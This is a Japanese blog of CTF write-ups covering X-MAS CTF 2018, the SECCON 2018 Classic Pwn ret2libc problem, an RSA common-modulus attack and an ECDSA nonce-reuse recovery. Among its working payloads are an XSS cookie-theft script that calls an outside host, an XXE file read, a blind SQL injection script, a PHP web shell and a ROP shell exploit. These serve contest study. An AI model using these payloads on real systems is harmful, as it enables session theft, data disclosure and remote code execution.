X-MAS CTF 2018 供養(Webとか)

X-MAS CTFでチラ見以上したけど解けなかった問題の復習をする。(スコアサーバーが動いているうちに、、、)
これはその際のメモとお気持ち。cryptoはまた別でやります。

Santa's lucky number(Web)

以下問題文。

Come on! Santa's lucky number is pretty predictable, don't you think? ;)

Server: http://199.247.6.180:12005

とりあえずアクセスしてみると以下のような画面がでてくる。 f:id:kent056-n:20181224004247p:plain 適当にボタンを押してみるがハッシュ値っぽい数字が出てくるだけ。。。ここで意味がわからず競技中は放置してしまった。

Santa loves hiding his secrets on the page numbered as his lucky number :)

どうやらhttp://199.247.6.180:12005/?page=4の値を順に調べて行くとFLAG出たらしい。(なぜ思いつけなかったんだ、、、

import requests
import re

url = 'http://199.247.6.180:12005'
i = 0
while True:
    payload = {'page': str(i)}
    r = requests.get(url, params=payload)
    print('[*]Requests: ' + url + '/?page=' + str(i))
    if re.search(r'X-MAS', r.text):
        print(r.text)
        break;
    i = i + 1

FLAGはX-MAS{W00pS_S0m30n3_73l1_S4n7a_h1s_c00k1eS_Ar3_BuRn1ng} f:id:kent056-n:20181224005733p:plain

Our Christmas Wishlist(Web)

以下、問題文。

We have all gathered round to write down our wishes and desires for this Christmas! Please don't write anything mean, Santa will be reading this!

Server: http://199.247.6.180:12001

とりあえずアクセスしてみると以下のような画面が表示される。
f:id:kent056-n:20181224005115p:plain

ページのソースは以下のようになっていた。
競技中は上記のフォームに対して<script>location.href="http://g0r0g0r0.ga:8000/17fcd1x1?"+document.cookie</script>こんな感じのscriptが発火するようなpayloadを送信して、サンタ見に来ないじゃん!!ってキレてた。

. . . 

<script>
function lol () {
    var xhttp = new XMLHttpRequest();
    xhttp.onreadystatechange = function() {
        if (xhttp.readyState == 4 && xhttp.status == 200) {
            document.location.reload();
        }
    };
    
    var xml = "<message>" + document.getElementById("textarea").value + "</message>";
    xhttp.open("POST", "/", true);
    xhttp.setRequestHeader('Content-Type', 'application/xml');
    xhttp.send(xml);
};
</script>

<body background="paper.jpg" style = "margin-left:25px; margin-top:25px;">
    <p class="text" style="font-size: 60px">Our Christmas Wishlist!</p>
    <textarea id="textarea" rows="6" cols="50" placeholder="I wish for a pony..." class="text" style="font-size: 30px"></textarea>
    <button style="position:relative; bottom:90px; left:20px;" onclick="lol();"></button>
    
    <div style="margin-top:24px;">
            </div>
</body>

他の人のwriteupを見たところ、どうやらXXEによってファイルを読むことができたらしい。(XMLの時点で気づけたらよかったのか。。。)

www.mbsd.jp

以下のようなリクエストを送ることでフラグを入手できた。FLAGはX-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

# curl -X POST http://199.247.6.180:12001/ -d '<!DOCTYPE name [<!ENTITY h SYSTEM "file:///var/www/html/flag.txt">  <!-- <D> -->]><message>&h;</message>'
Your wish: X-MAS{_The_Ex73rnal_Ent1t13$_W4n7_To__Jo1n_7he_p4r7y__700______}

Santa's No Password Login System(Web)

職業柄気になったので復習しておく。以下、問題文。

We all know that Santa is quite an old man. He sometimes forgets things. Including his password.

Therefore, our high-tech gnomegineer department worked the whole last night to develop a new login system, that requires no passwords! Nifty.

Server: http://199.247.6.180:12003

まず、サーバーにアクセスしてみるとサンタニキが出てくるだけで、これといった入力フォームなどはない、、、

f:id:kent056-n:20181224012705p:plain

とりあえずソースを表示してみたが、mp3のいい感じの音楽を聞いただけでギブアップ。

<div id="snowflakeContainer">
    <p class="snowflake">*</p>
</div>

<body style="background-color:black">
    <!--Bells and Whistles-->
    <script src="flsnowcompress.js"></script>
    <audio autoplay>
        <source src="christmas.mp3" type="audio/mpeg">
    </audio>
    
    <img class="center" style="width:200; height:323; margin-top:100px" src="santa.png"></img>
    <p class="text" align="center">Santa's No-Password Login!</p>
    <p class="text" align="center" style="margin-top:-60px; font-size: 32px; opacity: 0.8;">You don't seem to be using an official Computer from Santa's Laboratory!</p>
    <p class="text" align="center" style="margin-top:-40px; font-size: 26px; opacity: 0.8;
      color: red;">Access Denied!   </p>
</body>

他のwriteupを見てみると、どうやらUserAgentにsqliの脆弱性があったらしい。あとは、以下のようなスクリプトを実行し、Blind SQLインジェクションをしてFLAGをゲットして終わりだったようだ。

import urllib2

flag = ""

chars = '-\{\}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'

for i in range(0, 37):
    for i in range(0, len(chars)):
        str = """' OR ua LIKE BINARY "{}%";#""".format(flag+chars[i])
        headers =  {
                'User-Agent': str,
        }

        req=urllib2.Request("http://199.247.6.180:12003/", None, headers)
        response=urllib2.urlopen(req).read()

        if "Welcome" in response:
            flag += chars[i]
            print flag
            break

以下、実行結果。FLAGはX-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}。 自分もこういうのを見つけられるようになりたい。。。(みんなどうやって見つけてるんだろう??)

# python solve.py
X
X-
X-M
X-MA
X-MAS
X-MAS{
X-MAS{E
X-MAS{EV
X-MAS{EV3
X-MAS{EV3R
X-MAS{EV3RY
X-MAS{EV3RY0
X-MAS{EV3RY0N
X-MAS{EV3RY0NE
X-MAS{EV3RY0NE_
X-MAS{EV3RY0NE_F
X-MAS{EV3RY0NE_F3
X-MAS{EV3RY0NE_F34
X-MAS{EV3RY0NE_F34R
X-MAS{EV3RY0NE_F34R5
X-MAS{EV3RY0NE_F34R5_
X-MAS{EV3RY0NE_F34R5_T
X-MAS{EV3RY0NE_F34R5_TH
X-MAS{EV3RY0NE_F34R5_TH3
X-MAS{EV3RY0NE_F34R5_TH3_
X-MAS{EV3RY0NE_F34R5_TH3_B
X-MAS{EV3RY0NE_F34R5_TH3_BL
X-MAS{EV3RY0NE_F34R5_TH3_BL1
X-MAS{EV3RY0NE_F34R5_TH3_BL1N
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_G
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3
X-MAS{EV3RY0NE_F34R5_TH3_BL1ND_GN0M3}

参考

X-MAS CTF カテゴリーの記事一覧 - Yunolay’s blog

X-MAS CTF: Santa's No Password Login System – Diego95root

X-MAS CTF 2018 writeup

仕事終わりとかにチマチマやっていました。 cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。 反省会会場はこちら。

f:id:kent056-n:20181223163153p:plain

Santa The Weaver(Misc)

画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}

Oh Christmas Tree(Forensics)

なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}

Message from Santa(Forensics)

imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。

$ binwalk classified_gift_distribution_schema.img
$ 7z l classified_gift_distribution_schema.img
$ 7z e classified_gift_distribution_schema.img

画像をつなぎ合わせてフラグを読んでおしまい。(人力)

from PIL import Image
#alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
alphabet_0 = ['a11', 'j', 'a5']
alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p']
alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f']
alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u']
alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z']

images0 = map(Image.open, [i+".png" for i in alphabet_0])
images0 = list(images0)
widths0, heights0 = zip(*(i.size for i in images0))
total_width0 = sum(widths0)
max_height0 = max(heights0)
new_im0 = Image.new('RGB', (total_width0, max_height0))
x_offset0 = 0
for im in images0:
    new_im0.paste(im, (x_offset0,0))
    x_offset0 += im.size[0]
new_im0.save('test0.jpg')

images1 = map(Image.open, [i+".png" for i in alphabet_1])
images1 = list(images1)
widths1, heights1 = zip(*(i.size for i in images1))
total_width1 = sum(widths1)
max_height1 = max(heights1)
new_im1 = Image.new('RGB', (total_width1, max_height1))
x_offset1 = 0
for im in images1:
    new_im1.paste(im, (x_offset1,0))
    x_offset1 += im.size[0]
new_im1.save('test1.jpg')


images2 = map(Image.open, [i+".png" for i in alphabet_2])
images2 = list(images2)
widths2, heights2 = zip(*(i.size for i in images2))
total_width2 = sum(widths2)
max_height2 = max(heights2)
new_im2 = Image.new('RGB', (total_width2, max_height2))
x_offset2 = 0
for im in images2:
    new_im2.paste(im, (x_offset2,0))
    x_offset2 += im.size[0]
new_im2.save('test2.jpg')

images3 = map(Image.open, [i+".png" for i in alphabet_3])
images3 = list(images3)
widths3, heights3 = zip(*(i.size for i in images3))
total_width3 = sum(widths3)
max_height3 = max(heights3)
new_im3 = Image.new('RGB', (total_width3, max_height3))
x_offset3 = 0
for im in images3:
    new_im3.paste(im, (x_offset3,0))
    x_offset3 += im.size[0]

new_im3.save('test3.jpg')

フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}

Santa's Security Levels

mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。

morsecode.scphillips.com

すると、以下のgithubリポジトリに行き着く。 github.com

とりあえず書いてあるメッセージをrot13で復号する。

# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r
iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.

最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}

GnomeArena: Rock Paper Scissors(Web)

以下問題文。

This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win?

Server: http://199.247.6.180:12002

とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 f:id:kent056-n:20181223172730p:plain しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 f:id:kent056-n:20181223172818p:plain 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。

$ cat noimage sample.php > exploit.php

phpのファイルとしては以下のようなものを用意して、アップロードする。

<pre>
<?php
    echo system($_GET["cmd"]);
?>
</pre>

アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.phpみたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。

$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"

フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}

SECCON2018 Classic Pwn 供養

SECCON2018 Classic Pwn

当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。

Classic Pwn

まずはfileコマンドから。

$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22
classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped

次にchecksecの結果を確認。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。

$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22

バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。

gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72

RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。

$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22

classic_aa9e979fd5c597526ef30c003bffee474b314e22:     file format elf64-x86-64


Disassembly of section .plt:

0000000000400510 <puts@plt-0x10>:
  400510:   push   QWORD PTR [rip+0x200af2]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  400516:   jmp    QWORD PTR [rip+0x200af4]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  40051c:   nop    DWORD PTR [rax+0x0]

0000000000400520 <puts@plt>:
  400520:   jmp    QWORD PTR [rip+0x200af2]        # 601018 <_GLOBAL_OFFSET_TABLE_+0x18>
  400526:   push   0x0
  40052b:   jmp    400510 <_init+0x28>

0000000000400530 <setbuf@plt>:
  400530:   jmp    QWORD PTR [rip+0x200aea]        # 601020 <_GLOBAL_OFFSET_TABLE_+0x20>
  400536:   push   0x1
  40053b:   jmp    400510 <_init+0x28>

0000000000400540 <printf@plt>:
  400540:   jmp    QWORD PTR [rip+0x200ae2]        # 601028 <_GLOBAL_OFFSET_TABLE_+0x28>
  400546:   push   0x2
  40054b:   jmp    400510 <_init+0x28>

0000000000400550 <__libc_start_main@plt>:
  400550:   jmp    QWORD PTR [rip+0x200ada]        # 601030 <_GLOBAL_OFFSET_TABLE_+0x30>
  400556:   push   0x3
  40055b:   jmp    400510 <_init+0x28>

0000000000400560 <gets@plt>:
  400560:   jmp    QWORD PTR [rip+0x200ad2]        # 601038 <_GLOBAL_OFFSET_TABLE_+0x38>
  400566:   push   0x4
  40056b:   jmp    400510 <_init+0x28>

まず、pop rdi -> puts@got -> puts@plt -> mainして libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。

payload = "A" * 72
payload += p64(popret)
payload += p64(elf.got["gets"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"]) 
... 
leak_addr = u64(conn.recv(6) + "\x00\x00")
libc_base = leak_addr - libc.symbols["gets"]
system_addr = libc_base + libc.symbols["system"]

"pop rdi; ret"gdb-pedaの中で以下のように調べることができる。

gdb-peda$ b main
Breakpoint 1 at 0x4006ad
gdb-peda$ r
gdb-peda$ ropsearch "pop rdi"
Searching for ROP gadget: 'pop rdi' in: binary ranges
0x00400753 : (b'5fc3')  pop rdi; ret

次にpop rdi->/bin/sh addrしてsystem("/bin/sh")を呼び出しておわり。

payload = "A" * 72
payload += p64(popret)
payload += p64(libc_base + next(libc.search('/bin/sh')))
payload += p64(system_addr)
payload += p64(0xdeadbeef)

最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)

from pwn import *

def main():
    conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22")
    libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253")

    popret = 0x400753

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(elf.got["gets"])
    payload += p64(elf.plt["puts"])
    payload += p64(elf.symbols["main"]) 

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.recvuntil("Have a nice pwn!!\n")

    leak_addr = u64(conn.recv(6) + "\x00\x00")
    libc_base = leak_addr - libc.symbols["gets"]
    system_addr = libc_base + libc.symbols["system"]
    print "libc_base: " + hex(libc_base)
    print "system_addr: " + hex(system_addr)

    payload = "A" * 72
    payload += p64(popret)
    payload += p64(libc_base + next(libc.search('/bin/sh')))
    payload += p64(system_addr)
    payload += p64(0xdeadbeef)

    conn.recvuntil(">> ")
    conn.sendline(payload)
    conn.interactive()

if __name__ == "__main__":
    main()

おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。

参考

http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940

squarectf2018 writeup

なかなか時間が確保できない今日この頃だが、脳死で解けそうなcrypto問があったので一応解いておいた。

C2: flipping bits

以下問題文。

Disabling C2 requires cracking a RSA message. You have two ciphertexts. The public key is (e1, n).

Fortunately (this time), space rabiation caused some bit flibs and the second ciphertext was encrypted with a faulty public key (e2, n). Can you recover the plaintexts?

ダウンロードしたjarを展開すると以下の内容のテキストファイルが出てくる。

ct1:  13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654
ct2:  79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065
e1:  13
e2:  15
modulus:  103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

You have two captured ciphertexts. The public key is (e1, n). But,
due to a transient bit flip, the second ciphertext was encrypted with a faulty
public key: (e2, n). Recover the plaintexts.

(The algorithm is RSA.)

bit flipとか書いてあってめんどくさそうな気がめちゃくちゃしたが、とりあえずRSA問ということで、いつもどおり使える攻撃が何かないか探してみる。 elliptic-shiho.hatenablog.com 今回はm(平文)nが共通でeが異なるc(暗号文)の組みがあるので、Common Modulus Attackが利用できそう。
適当にコードを書く。(勢い余ってpython2で書いてしまった)

import sys
import gmpy
import binascii

def common_modulus_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    m = (v * w) % n
    return m


if __name__ == '__main__':
    n = 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627

    e1 = 13
    e2 = 15

    c1 = 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654

    c2 = 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065

    print binascii.unhexlify(hex(common_modulus_attack(c1, c2, e1, e2, n))[2:])

解けた。FLAGはflag-54d3db5c1efcd7afa579c37bcb560ae0

所感

スコアリングの方式は謎だったが、問題の難易度的にはクソ雑魚の自分でも楽しめるくらいだったようだ。(そろそろ難しい問題にも挑戦していけ!?)
来年もできれば参加したい。

requestbinを復活させる話

requestbin復活を復活させる

requestbinがいつか忘れたけどサービス終了してしてまって悲しいので復活方法を自分用メモとして残しておく。 github.com

Digitalocean設定手順(任意)

[Create]ボタンからテキトーにDropletをcreateしていく。スペックはテキトーに選択し、OSはテキトーにCentOS7系を選んどけば動く。
すでに登録したSSH Keyがあれがそれを選択するのも忘れずに。鍵を設定しておけば以下のようにsshできる。(どのユーザー名でログインできるのか大体わすれる)

$ ssh -i [秘密鍵] root@[IPアドレス]

必要に応じでDNSの設定も変更しておく。[Networking]から設定したいDomainを選択し、Aレコードを今回立ち上げたDropletのipアドレスに変更しておく。
(そもそものDigitalOceanでDNS周りを設定する方法はこちらを参考にしていただければ幸いです。

requestbinの復活

requetbinを起動していく。とりあえず各コマンドを雑に実行していく。(怒られそう)

$ sudo yum install git
$ sudo yum install docker-ce
$ sudo systemctl start docker
$ git clone https://github.com/Runscope/requestbin.git
$ curl -L https://github.com/docker/compose/releases/download/1.12.0/docker-compose-`uname -s`-`uname -m` > docker-compose
$ sudo chmod +x  docker-compose
$ cd requestbin/
$ sudo ../docker-compose build
$ sudo ../docker-compose up -d

docker周りで上手く行かなかったらテキトーにココを見て設定する。最後に[IPアドレス]:8000にアクセスできればおわり。

参考

id0-rsa.pubのメモ【ECDSA Nonce Recovery】

ECDSA Nonce Recovery

same k attackの話。以下問題文。

As part of signing something using DSA (digital signature algorithm) one must select a secret, cryptographically secure random number k to be used as a nonce. k must never be reused. Why you ask? Well you could ask Sony, or I could just tell you that you can recover k given two signature / message pairs that used the same k and signing key, which can lead to the signing key being compromised. I've signed two messages (z1,z2) with the same k (using the NIST curve P-192), resulting in the signatures (s1,r1) and (s2,r2). Your job is to recover k

(submit your answer in hex). Some reading to get started (of most relevance is section 2.3).

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885

z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885

n = 6277101735386680763835789423176059013767194773182842284081

same k attackとは、ECDSA、DSA、ElGamal署名あたりの署名アルゴリズムで、二つの別々のメッセージに同じ乱数kで署名を行った場合、kを復元可能という攻撃手法?のこと。割とCTFでは頻出っぽい。(SECCON Beginners2018やVolga CTF 2017でも同様の問題が出題されていた)
とりあえず過去のsolverにブチ込む。以下のような感じで解いてみた。

z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376
s1 = 5416854926380100427833180746305766840425542218870878667299
r1 = 5568285309948811794296918647045908208072077338037998537885
z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879
s2 = 1063435989394679868923901244364688588218477569545628548100
r2 = 5568285309948811794296918647045908208072077338037998537885
n = 6277101735386680763835789423176059013767194773182842284081

def inv(x):
  return pow(x, n-2, n)

k = (z1-z2)*inv(s1-s2) % n
print(hex(k))

最初全然Acceptにならなくて困っていたけど、どうやらnを法として計算しないとダメらしい。(ここで初めてnの利用用途に気づく...)
なぜ上記の方程式で復元できるのかはあまりわかっていないので時間があるときにまた調べたい。あと、以前PS3でこの攻撃手法が使えたっぽいことに驚いた。(cryptoも物によっては意外と身近なんだなあ)

参考

id0-rsa.pubのメモ【Intro to PGP】

Intro to PGP

gpgコマンドの使い方の話。
基本的には書かれている内容に沿ってすすめるだけだが、一部不明な点があったので以下の記事も参考に進めた。 qiita.com まず鍵サーバーpgp.mit.eduでid0rsa.pub.gmailを検索するとkeyIDがA81B09D4だとわかる。

鍵サーバーから公開鍵を受信する。

$ gpg --keyserver pgp.mit.edu --recv-keys A81B09D

あとはmessage.ascとして保存したメッセージを確認して終了。

$ gpg -o out.txt -d message.asc
$ cat out.txt
Thank you Phil Zimmermann!

参考

https://qiita.com/spiegel-im-spiegel/items/079d69282166281eb946